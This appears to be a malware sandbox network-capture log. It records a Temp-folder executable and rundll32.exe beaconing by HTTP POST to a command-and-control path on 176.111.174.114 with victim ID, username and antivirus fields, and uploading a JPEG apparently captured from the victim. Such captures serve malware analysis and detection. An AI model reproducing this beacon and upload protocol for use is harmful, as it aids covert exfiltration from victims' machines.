Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1547	176.111.174.114	80	192.168.2.5	50649	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
155	176.111.174.114	80	192.168.2.5	49797	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:48.275757074 CEST	2100	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:22:48 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
156	192.168.2.5	49798	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:48.332216024 CEST	2113	OUT	POST //Hnq8vS/index.php?scr=up HTTP/1.1 Host: 176.111.174.114 User-Agent: Uploador Content-Type: multipart/form-data; boundary=152138533219.jpg Connection: Keep-Alive Content-Length: 185550 Data Raw: 2d 2d 31 35 32 31 33 38 35 33 33 32 31 39 2e 6a 70 67 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 31 35 32 31 33 38 35 33 33 32 31 39 2e 6a 70 67 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 43 00 02 01 01 01 01 01 02 01 01 01 02 02 02 02 02 04 03 02 02 02 02 05 04 04 03 04 06 05 06 06 06 05 06 06 06 07 09 08 06 07 09 07 06 06 08 0b 08 09 0a 0a 0a 0a 0a 06 08 0b 0c 0b 0a 0c 09 0a 0a 0a ff db 00 43 01 02 02 02 02 02 02 05 03 03 05 0a 07 06 07 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a ff c0 00 11 08 04 00 05 00 03 01 22 00 02 11 01 03 11 01 ff c4 00 1f 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 23 42 b1 c1 15 52 d1 f0 24 33 62 72 82 09 0a 16 17 18 19 1a 25 26 27 28 29 2a 34 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e1 e2 e3 e4 e5 e6 e7 e8 e9 ea f1 f2 f3 f4 f5 f6 f7 f8 f9 fa ff c4 00 1f 01 00 03 01 01 01 01 01 01 01 01 01 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 11 00 02 01 02 04 04 03 04 07 05 04 04 00 01 02 77 00 01 02 03 11 04 05 21 31 06 12 41 51 07 61 71 13 22 32 81 08 14 42 91 a1 b1 c1 09 23 33 52 f0 15 62 72 d1 0a 16 24 34 e1 25 f1 17 18 19 1a 26 27 28 29 2a 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 82 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e2 e3 e4 e5 e6 e7 e8 e9 ea f2 f3 f4 f5 f6 f7 f8 f9 fa ff da 00 0c 03 01 00 02 11 03 11 00 3f 00 fc 50 8a 2f 2e 9f 52 fd 8f 77 5c d2 ec 35 fa 5c 69 9f 07 ce 47 1f 7a 75 7b 17 c1 af d8 53 f6 86 f8 d3 e1 3b 2f 89 1a 56 81 65 a2 f8 4f 50 9e 48 ad 3c 51 e2 2b f5 b7 b5 99 a3 72 92 18 91 43 4f 70 15 c1 56 30 c5 26 d2 08 38 22 bd df e1 ff 00 fc 13 93 e0 87 85 f6 5d 7c 4a f1 de b3 e2 bb c5 5c b5 9e 91 12 e9 b6 28 e0 f4 f3 1c 49 35 c4 67 d9 6d 9f e9 58 d5 c4 e1 e9 68 e5 af 91 ac 28 56 a8 ae 96 87 c5 29 f7 6a c2 7d da fd 19 bd fd 87 ff 00 63 8f 1a 78 7f ec 6f f0 5a 7f 0f c8 cd 95 d4 7c 2f e2 7b e5 b8 07 8c 03 f6 e9 2e a2 2b ea 3c b0 c7 b3 0a f2 1f 88 7f f0 49 df 12 c4 b2 5d fc 0b f8 c9 a4 eb a0 6e 31 e8 fe 27 87 fb 22 f1 cf 50 89 29 79 2d 58 01 c6 f9 26 87 24 7d d1 9e 2a 9e 3f 0f 3d f4 f5 26 b6 0e bc 76 57 f4 3e 45 a4 55 c6 45 76 df 16 7f 67 5f 8e 7f 01 ee a3 8b e2 ef c2 bd 6b 42 8a 79 0a 59 df de 59 37 d8 ef 08 19 fd c5 ca e6 19 c6 3b c6 ec 38 3c f1 5c 5b 6f ef 5d d1 94 65 0b a7 73 85 a9 45 d9 90 c7 1b d0 fd 3f 1a 96 9a f8 ee 29 72 15 cd 76 57 93 b5 44 e3 9f ad 4b 27 6a 6e dd dc 62 b1 94 4d e3 b9 4e 44 3e b5 1d 7e c7 f8 9b fe 0d 34 d5 7c 37 75 f6 7b ff 00 db 9f 74 2e d8 86 e5 3e 18 65 5f ff 00 2a 7c 1f 6f e6 39 aa d6 bf f0 6a 22 dc f5 fd bd f6 ff 00 dd 2d cf fe e5 2b f3 2a de 2b f0 05 29 b8 4f 19 66 bf e9 dd 6f fe 56 7d 64 38 4b 88 a5 1e 65 43 4f f1 43 ff 00 92 3f 1e a3 eb f8 54 be 53 fa 57 ec 8d b7 fc 1a 4e 2e 17 1f f0 f0 1d bc ff 00 d1 29 cf fe e5 6b f2 8b f6 87 f8 44 df b3 ff 00 ed 09 e3 df 80 8f af 8d 58 f8 27 c6 5a a6 80 75 51 6b e4 0b c3 67 77 2d bf 9d e5 ee 6f 2f 7f 97 bb 6e e6 db 9c 64 e3 35 ef 70 ff 00 19 70 df 13 d5 9d 3c b2 bf b4 94 12 6f dd 9c 6c 9e 9f 6a 31 fc 0f 3b 31 c9 73 3c ae 2a 58 aa 7c a9 e8 b5 8b fc 9b 38 a7 39 38 a1 36 7f 1d 39 d1 b3 9a 65 7d 49 e5 0e 65 fe e5 21 56 5e a2 92 9d bc d0 1b 11 f9 7e f4 2a f7 34 f7 eb 5f af bf f0 6e 6f fc 12 17 f6 1d ff 00 82 90 7e cd Data Ascii: --152138533219.jpgContent-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-streamJFIFCC"}!1AQa"q2#BR$3br%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyzw!1AQaq"2B#3Rbr$4%&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz?P/.Rw\5\iGzu{S;/VeOPH<Q+rCOpV0&8"]\|J\(I5gmXh(V)j}cxoZ\|/{.+<I]n1'"P)y-X&$}?=&vW>EUEvg_kByYY7;8<\[o]esE?)rvWDK'jnbMND>~4\|7u{t.>e_\|o9j"-++)OfoV}d8KeCOC?TSWN.)kDX'ZuQkgw-o/nd5pp<olj1;1s<X\|89869e}Ie!V^~4_no~>K-[R9t/w6_gcmA~r 9qXxJ^w<MNH~@C5\|\>;$62>x}<uw5oa?_r3#~?/Oz_W<Cu3V2m yXZW_x[[B$)! zLml[aj3\snV&L3y{NijJ@\|RKE6M%tTQO0hR(()`sKNm;Q!T_\iFE7UrNz6zQQ9 GN&XCTn3iKi}jDB{EP@QEQEP7J2Iw) ($ruNm"a:;bON6(sbUW3N.KKzuPN?N)6(~4'O\|:ED'g#X_I'jN5ET%6N-)<)R>fQEQS OWEfaE/~4QErk>MD\FEC'jmML{h,Q@I<O/4EvEQEih-G@%SR>>1Q@Q@()$J:NPfSloPtZ>a:TNw_-Y&3D8e]KJR~w?47aH'%ozF}KOp$a}#N&\|_7eV94kH`=A!G>6`IJWIVI'Y+98J4UscSLftN5?-Nr~b=m=SY q^Cd-6m#!dk0#=^wb)bBkip.7M(5t_~#[Z<"C/]7rXg5?_Q- xXg561F?W'UW/'c?>3zl+GUGYsh/m&N$A(4rO'Hrv?zd=[5.#7{EL'wsWeGkd+UsxN5.3[CO<n}h<OJ?2"OQ_2+/p1?[uCl~?QWTzY_g?j\|Ef#^-CQ&C.e8`?)Lo.mqx_$f\|(6,>hlfPAbf7/Q_}:}N,D&02Kf0YXI#zv[M<&>JZI4Yo:;O+oY6]X.YU7(.+6N5iSI\|Y--wm.rFk$O\|Z>\|IE"$mm{<T@ ~'<+QjnS~m\|::S,S$?7%~{QEOMe)HzV]M:ecGZJ(:+>@"\|'z{BG+0y~eJ?;}UF>}Ei"~KQR<\|~rseT(4%QPMiUK`!jjdGOOGR0(3(%QLQE((N:t}SN$ I:~4:~4NZu^aRq"AFTg{4l5+.eW(<N#!SN:E)L~=c(A~Xm(VJ_DTQEbhC'jm=~4Vm6NGE=<n(MW)\R&oTQtTTGE:N)N(((nUsj%1%(gwSOm@R8'-.FJuJRB'jGEZwOYE)'- ($BsRlQr'~4/TI\))SRN]J}TPqs3"AZxWW;#?gkk4rDV`+`%gO5\|xzw-STcPT4D9=q_\|.[x+rVTa GAZB\|-jj]iYBgTe"jB3VvSMm]Ofx>7mk&rm@(Io~#x"{8@xDDz\|\|\|W#rC8LUdJ-{evd>3(akVu6wd]$.:oF96Q3GdRJ?GO>y5Sy}GCw_A,_{R]MzeBFm5 f7Q>+Df'@wsCL::}+K.PW/#kg,NI>yCUw7v?a`zI_^z>&9GQ(]4'q9)>=3N~[.X>Q[&5E?gW&\|4nwg5BgeQ9Oor?Qo)\|^Rr8m7^Oj59+%(l_bSMqR<{8Cr9;TFeI3YJ&+WrbgUH6t'pHW+z3<}EZ]/9ch(vV,1"bBcN{g]^_6xic,>I??s!=$L5U_?jPi\|}SZ]XxU1k=woug?duxJ^ZlC2,t<e^pf$'.i:9?X:[vF+NY]D5~IKWO_MIo4mn~&u1<.gnix,WibS{<vNvyQ@GM3czT;P2?//Oz<z\|z8iDRQLoQ~5wq#':~v($tF-vV1!Ry~73ul4KLzmNfcN~)_#Ry($(QN_w>#KXhx/e%7}HDAZ6j"&9QE;co3.$-PD'Zu6>:>DNdMH?ZD)=V]K8O\|P?yA};!\|/)\heIR5~S>qQ4DO&NvXH;vYs2:MRl(2 OeI6'j'j$=HiEH)vDi67>P#'j0E<C.y.9'O(%GRhQEQEfEPQ`(S_:czRQ@)(t}S@Q@S-QEaEPEPEP$F'?ZOoCNu^4<sW[,r["jn_i+sm?Iu3{Fo>qo~\|Zy#z/>/rB) e8j,k.t/pY=gWa0xqJXsP!!mMi$OQO\|[/~;RxBd hc ,UX)<Vd}Z}>[Y'%YrTdyB#]tw}s1o}lC/Wuwe;VAniduOD;\|\|w_+)W[[I-i\[B\ocUK~Ow0uM";g\GHBMpk_b+M_WxlL{gZiwjp?5\|.O\|i]RkM"Y^Orwocv9am_-/?OvuK;&k"D{=ZY#$D5guCOO\|@\|7i/x]Ns.e.a-kwlzF?e^XRUEg+Wgm.v.r;n6M65{KC8<T4GG^/DXL7f!J8V_NNk;oOCz> &i4GDSM=5+iEz>n<w7^Cz&mm=,Ztiu!H"BFq4"VNm&PsItWi7k]5!Nh-7J}ugSTkbb<AJ\|5?t.O#mZ5s\|x@<]jZFZ.tmfE7(i,;VaS^^j\E998KWi-Y4OJ~?O?-[^}O^sx/nQCZX8ci{ElW9h>?gTsztf4dD 6.$6O4qM\d1Gd~3_(yCCMkr~1gjmr}+T&KY&D$nW="aU-'Om['NWKhnV0UIV"jSwJqnre?[J(i/z'Gu;gW'dF1,X 1Q~ gG}#Qa;X\Yyk$HE .ln>~\|js!\|3>}s7766$phTqZUm/VwaJQN/W\|C{i\|>x3kKxW C[8FicGRTl;4ow.\|9y[T]x%#G4t#XL<1d%yp$&vJM=ehE^KW'[FI-L/Tr?cO=_7/K=:Mh?e$VO"O=[KN/c?z!h&t2v#?7\|=-/:\|C=T4-Y-Qsa%4m:mipsi4woV,\yn-Ki+H(P}?J%Ly)R:V\|9Q%+.\|av_::3_Iz9CE}(\#Rq2y~p}NVIiipC2PiRNH>VTITgPW?r}z!}ZH>BcS@H\|P.d@Dh+n1GZQ#.Z-.IwzwGO_!yjH0BNyQEQNJPOkMI\|QJOO'Z}hQW2TRL:ruR?O~ wYS:X-<6AiKEwhHeSY<\dUV$vQ:#!rIZ6l+co%IHT2&sOi_StT?(S\|~@E{G%MloJBV<9s);SjT}_iN'ju5kq;S,R23BrsMhy~QEfEP?TaRR2@e"ENloJ67K5%GOoiy5W<}QEaEPEPEPEPEPV+Q3UL}x3-JE;op\EEm], I,WdVg4.0b_X7gM\-ZZ[G%Kk]?GjOfHw:a\|0{EY6ow.gu"[F#jP^O~Wvho?'\_\-KBT+SOD$$9$h c<K%k{7zidg17.d_eJn'')4NeiRro&kD6}o=\|}~?\x{#mL}6<WikcFPv>\|BLM{O}RUKv6Z$R(E>0B-TQA+\|EN\|vZi{eliU)%h+~~/^_x$k}>[u}2s[xQ3Uuwm\|xOWa >WU.":nbT(eJrbSQM!\|+"{FKm_i]'$OBQiSu?m$5/4dKqk4S^xNI\|S,)7Y^pAgTUT0E{X_R]]vK.$yeQWJw>IkH~(6/7FX\[v-gxyA6G5X[mmo%x^-o]2-=r7"IcL^(#.0&~>P-5[TuxBqRo({Oy]m}},~_W\|<1k<_j_&/-<{>6xNm'L5$2D&{Hgd(fHxj\|]\|ix::~iuEe$xW72JF0yK)@y1!o0wl_%K^e5nk7>_yY}6Uox3S~xh^h::ZJIn%G9kl/^3Z~z~i?fxBj_-5TuAi&FsyrmKX=M7c!;s6+LR,q AYQ=JP].=~~\Y"&nwN?i7[[?j/5u/n4OQmJ[ukxG!6%>kM+a?hZAWKh]EwG#3!FZ9>E6H!8+\|CN;{5h%(M/4w\|$qvY4_+@t39u]<V(R@@l\|Dww-G@CMk;mBZG1q2(TUB+!%#Vx5nfc~?c%\|s_\|H}IttN+R2Ibm'h^bva$4j-7>\B(lTGup;rY8!\|_B#s^NyQy;koK{>hy{Ev#2kCS3OjR,O@>5frZ Zpm0 jdOWxW:Pf4Hdn h"Vb[dn4tCPMi6I4>Vju#vTu4[k_Q~W/$gaKU2~v\|7ogB=[g\|)5.}G\h=kmMH4["8zbc5V":7zk'%guS}W^6nzu^};%u[^?Xj)M5g/m%+s<K!^'"`tOF'r-wd2Z
Apr 28, 2021 23:22:48.434523106 CEST	2116	OUT	Data Raw: 93 b5 68 02 27 de a7 d1 1f 41 f5 a9 28 26 5b 8d 8f bd 3a 8a 2b 42 48 e8 a9 28 a0 08 e9 53 ef 53 e9 7f 87 ee 2d 00 31 a3 e3 ee 51 b0 d3 a9 53 ef 55 72 b1 73 09 45 22 b6 78 35 a9 e0 9b 1b 1d 57 c6 da 36 93 a9 c1 e6 db 5d ea d6 d0 5c 47 b8 8d c8 f2 Data Ascii: h'A(&[:+BH(SS-1QSUrsE"x5W6]\G zs\aZ[E6vaGI*{^M%{&w2wRy~Z~M:\|>?1O>_._U7<;9QI=\|
Apr 28, 2021 23:22:48.434586048 CEST	2119	OUT	Data Raw: 22 bf 9f ff 00 1c 7c 6e f8 d1 f1 39 9d fe 25 7c 5d f1 47 88 5a 42 4c 87 5c d7 ee 6e cb 1c e7 27 cd 76 cf 3c d7 f4 1b e3 6d 0b c6 33 78 cb 57 96 d7 fe 09 a3 e1 2d 7a 26 d4 ee 0c 7a e5 ce bd a3 a4 9a 8a 99 1b 17 2e b2 42 5d 5a 41 f3 90 c4 b0 2d c9 Data Ascii: "\|n9%\|]GZBL\n'v<m3xW-z&z.B]ZA-\|opz4sln^_7{8lro{7}ZgfkrOL{Ye@0p.@xoc~Q_BCZkuqc=q=vg`mmO
Apr 28, 2021 23:22:48.435256958 CEST	2124	OUT	Data Raw: 50 d2 b4 db 58 fc 03 a3 3d 85 84 9a 7f 9b ba f1 9d 61 59 2e 26 de ec 0c 8c 20 4c ed 00 75 e2 bf 7b 7c 49 ff 00 0d d9 ff 00 09 15 ff 00 fc 22 1f f0 a9 7f b2 7e db 2f f6 5f f6 97 f6 a7 da 3e cf bc f9 7e 6e cf 97 cc d9 b7 76 de 33 9c 71 5f 1f c5 98 Data Ascii: PX=aY.& Lu{\|I"~/_>~nv3q_N/CF9[K%HLG*?PK&olOdHGj__wwOou}>]cjNq{B)<XbTX1j"o^_d_nfy[
Apr 28, 2021 23:22:48.435779095 CEST	2129	OUT	Data Raw: 38 ad 37 b5 dd ee ad e6 35 f4 97 fc 12 2f 48 7f 10 7e df 3e 1d f0 fa 78 4f 57 d7 be dd e0 8f 1b 5b 9d 0f c3 f2 6c bf d4 77 f8 53 56 5f b3 db 37 95 36 d9 a4 ce c4 3e 54 98 66 1f 23 fd d3 f3 70 91 65 45 91 3a 1e 45 43 79 65 6f 7d 17 95 72 99 5a f5 Data Ascii: 875/H~>xOW[lwSV_76>Tf#peE:ECyeo}rZt'V%WVFo~oe_,<om\|7[/Ge~[Qm#{kFh";vKc3H~x_\|Il<cu'A'MZ;o~p
Apr 28, 2021 23:22:48.436369896 CEST	2135	OUT	Data Raw: 45 e1 5f 12 78 3f c4 17 fe 12 f1 6e 8f 79 a5 ea ba 5d e4 b6 9a 9e 99 a8 db 34 17 16 97 11 b9 49 21 96 37 01 a3 75 65 2a ca c0 10 41 04 02 2b 6a 35 e8 62 5b 54 a6 a5 6e ce e4 d5 a3 88 a0 93 a9 16 bd 51 47 f7 94 7e f1 aa 46 85 f1 fe 14 d1 1b 2f 53 Data Ascii: E_x?ny]4I!7ue*A+j5b[TnQG~F/Sf67,}q'($}}ijx,CrD,q,,8]RL\TQvb'mh>xO>EJYe5/gyu)FVpn>D;\W7C
Apr 28, 2021 23:22:48.437069893 CEST	2140	OUT	Data Raw: 5e 63 fb 46 ff 00 c1 03 fe 04 7c 58 f1 cd f7 8e fe 13 fc 48 d4 3c 12 75 19 9a 6b 9d 19 34 f4 bb b3 49 1b 96 31 02 c8 d1 29 3c ed cb 01 93 b7 68 c0 0e f8 1f ff 00 04 12 fd 99 fe 16 5f 37 8a fe 2c f8 cb 56 f1 dc f6 d1 33 c1 a6 dc 42 b6 76 3b 80 e0 Data Ascii: ^cF\|XH<uk4I1)<h_7,V3Bv;hY\/>}IV'~\|>k}{?Vr'ok5T_xXv\|N.qzkMfN>1.+5/Tm>Tf
Apr 28, 2021 23:22:48.536670923 CEST	2151	OUT	Data Raw: 65 22 5a 28 a2 a8 c4 9a 2f b9 53 54 31 7d ca 92 3e f5 b4 4c 65 b9 69 1b ca e7 34 ef 3b 75 45 17 f4 a7 d7 64 77 39 e4 4f 1c 95 2c 73 ba c8 1f 3c 55 7a 7a 7d da b8 d4 91 94 a2 5f 87 52 d8 7e 7a b5 1d ff 00 98 d9 c5 64 27 de ab 10 e7 23 15 d3 4e b4 Data Ascii: e"Z(/ST1}>Lei4;uEdw9O,s<Uzz}_R~zd'#NZ`l)w*r}n1i)<i'5B{?WC3XU'+ZYG7#h$O;Ejv(^B@wcS+S7ic
Apr 28, 2021 23:22:48.536921978 CEST	2154	OUT	Data Raw: 00 61 69 92 72 d6 0a 0f fb 35 14 9e 11 d3 25 fb a8 e9 ff 00 02 a8 fe cb af d2 45 ff 00 69 d0 39 55 89 3b bd 4b e4 c3 c6 d3 cd 6e c9 e0 57 e9 0d f7 fc 05 aa b4 9e 0b d4 d3 e7 42 1e a3 ea 78 9a 7f 64 af ae 61 e5 f6 cc ee 7f bf 4f 4c 76 35 2c 9e 1e Data Ascii: air5%Ei9U;KnWBxdaOLv5,-{I6)9%B_OXj8Fr&zuhbnjVRcQZ!HXCSG&Dj42xOcDZc~oyG4rJc5be)
Apr 28, 2021 23:22:48.536967039 CEST	2157	OUT	Data Raw: bf 0b bc 4f 11 3f f1 2f 63 fe ed 65 2c a7 1d 4f 78 1d 14 f3 3c 1d 4d a6 72 f1 af ef 29 fb 07 bd 6c 4d e0 dd 6a cf ef d8 4c bf f0 0a a5 26 95 7b 13 7c f0 c9 ff 00 02 4a c7 ea d5 69 e9 28 9b 47 11 46 7b 48 a7 1f 7a 91 49 18 a7 25 a4 80 9c a3 7f df Data Ascii: O?/ce,Ox<Mr)lMjL&{\|Ji(GF{HzI%52["S:_1Gbc*\)w4_U+X}IIOkVa}:~5H-:>,nzS?J}?SFoRJASg5BZ>Qe[9QO
Apr 28, 2021 23:22:48.537225008 CEST	2162	OUT	Data Raw: 96 b9 5f f8 24 3e 9b 61 aa fc 58 f8 9b a7 5d 78 82 db 4d b7 7f 85 6f 9b fd 42 29 4c 71 81 af 68 c4 6e 58 52 47 e7 00 7c aa dc 91 9e 32 47 d5 d7 1e 2a fd 96 bc 51 fb 1e 5d 7f c1 22 3c 3d fb 46 78 7e ef 53 d3 7e 17 c3 ae 5a 78 fd 7c 67 01 d1 ae b5 Data Ascii: _$>aX]xMoB)LqhnXRG\|2G*Q]"<=Fx~S~Zx\|g7o(2x$?~'iWV+uH%cFUl3Tr^GF#$wwx4/fI$@?,{nT/t<9~,>,

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
157	192.168.2.5	49799	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:48.493213892 CEST	2141	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
158	176.111.174.114	80	192.168.2.5	49799	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:48.594239950 CEST	2194	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:22:48 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
159	176.111.174.114	80	192.168.2.5	49798	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:48.745516062 CEST	2287	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:22:48 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
16	192.168.2.5	49719	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:24.426379919 CEST	1571	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
160	192.168.2.5	49800	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:48.805080891 CEST	2288	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
161	176.111.174.114	80	192.168.2.5	49800	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:48.902429104 CEST	2288	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:22:48 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
162	192.168.2.5	49802	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:49.122548103 CEST	2289	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
163	176.111.174.114	80	192.168.2.5	49802	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:49.230724096 CEST	2289	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:22:49 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
164	192.168.2.5	49803	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:49.445810080 CEST	2290	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
165	176.111.174.114	80	192.168.2.5	49803	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
